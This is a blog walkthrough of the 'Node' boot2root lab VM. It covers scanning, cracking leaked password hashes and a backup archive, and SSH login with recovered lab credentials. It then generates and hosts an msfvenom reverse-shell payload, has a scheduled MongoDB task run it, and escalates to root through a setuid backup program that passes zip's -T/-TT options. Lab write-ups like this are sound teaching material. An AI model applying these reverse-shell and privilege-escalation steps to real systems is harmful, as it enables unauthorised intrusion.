This post documents the complete walkthrough of Node: 1, a boot2root VM created by Rob Carr, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Node is a medium level boot2root challenge, originally created for HackTheBox. There are two flags to find (user and root flags) and multiple different technologies to play with.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  http    syn-ack ttl 64 Node.js Express framework
| hadoop-datanode-info:
|_  Logs: /login
| hadoop-tasktracker-info:
|_  Logs: /login
|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: MyPlace

Nothing unusual. Let’s check out “MyPlace”.


There’s a LOGIN button at the top right-hand side; it brings us to the login page, of course.


I must say the design looks good.


The client side of “MyPlace” uses AngularJS. As such, one has to look at the JavaScript files for clues on how to proceed. The go-to tool in my arsenal to do that is the Debugger from the Developer Tools.


Look what happens when I enter the highlighted route into the address bar.


The database exposes all the users’ password hashes! Let’s clean up the usernames and hashes, and sent it to John the Ripper for offline cracking.


Login to the admin account with credential (myP14ceAdm1nAcc0uNT:manchester).



Click on the Download Backup button to bring up a dialog box to save the plaintext file, myplace.backup because I’m not going to open a 3.3MB file in the text editor.


File Analysis

Like any good security analyst worth his salt, I’m putting on my forensics hat to examine the file in greater details.


If I had to guess, I would say the file myplace.backup is the base64 encoding of the another file.


I’m right. Now, let’s unzip the bugger.


Hmm. It’s a password-protected archive. No big deal. There’s nothing John the Ripper can’t handle.

# zip2john >
# john --show --format=pkzip

1 password hash cracked, 0 left

Turns out the archive is the backup of the “MyPlace” site. And right off the bat, I notice a username and password. I know, I’m sharp. :smirk:


Here’s the code that generates the file myplace.backup. More on that later.


Low-Privilege Shell

The rest of the code seems pretty water-tight to me. I’m guessing the credential (mark:5AYRft73VtFpc84k) could also be the credential to log in through SSH. Let’s give it a shot.


There you have it.

During enumeration of mark’s account, I found the following:

  • There are other accounts on the system: frank and tom
  • frank is a distraction :no_good:
  • tom is running node on /var/scheduler/app.js


You see, tom is running each command in the tasks collection every 30,000 milliseconds (or thirty seconds). If I can somehow insert a row into tasks, tom will execute it for me.

Let’s do it this way. We transfer a reverse shell over to the VM.

I’ve checked uname -a beforehand; I know that it’s running a 64-bit Ubuntu. We generate a reverse shell with msfvenom on my attacking machine like so.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=1234 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

Host the reverse shell with Python’s SimpleHTTPServer module.

# python -m SimpleHTTPServer 80

Download the reverse shell to /tmp/rev with wget and make it executable.


Mongo Shell

It’s time to insert my command to run the reverse shell into the tasks collection.


Sweet. On the attacking machine, I set up a nc listener to receive the reverse shell.


Awesome. But, let’s give ourselves a better looking shell with the Python pseudo-TTY trick.


User Flag

The user flag is at /home/tom/user.txt.


Privilege Escalation

Remember /usr/local/bin/backup? It’s the key to privilege escalation—it’s setuid to root.


Having said that, we need to get a copy of the file to my machine for further analysis.

On the VM, do the following.

$ gzip -c < /usr/local/bin/backup > /tmp/backup.gz
$ base64 < /tmp/backup.gz

On the attacking machine, reverse the process.

# echo H4sIAL...AAA== > backup.gz.b64
# base64 -d < backup.gz.b64 > backup.gz
# gunzip -c < backup.gz > backup

I observed the following about the program:

  • The number of arguments must be at least three
  • The first argument is: -q
  • The second argument must be one of the strings in /etc/myplace/keys
  • The third argument must be a path that’s not blacklisted.


Once the arguments pass the checks, the program will use the system library function to execute zip to create the archive file.

The program is perfect in all aspects except for this—it doesn’t check for -T and -TT. These options allow zip to test the compression (-T) with an external command (-TT).

Once we know how /usr/local/bin/backup works, exploiting it to give us a root shell is easy. Let’s reuse our reverse shell in /tmp/rev if you still remember it.


On our nc listener, a root shell returns!


Root Flag

After spawning the pseudo-TTY shell, retrieving the root flag is a piece-of-cake.




The VM sure has its fair share of troll traps like the one you see below.


Right in the beginning during fuzzing for directories or files, if your User-Agent matches blacklisted ones, e.g. DirBuster, you get to see the troll face plus some random string. And in /usr/local/bin/backup, again if your path contains blacklisted ones, e.g. /root, /etc or even single characters such as ;, & or |, you’ll get a ZIP file in base64 encoding, containing root.txt that displays the same troll face.

It sure was fun.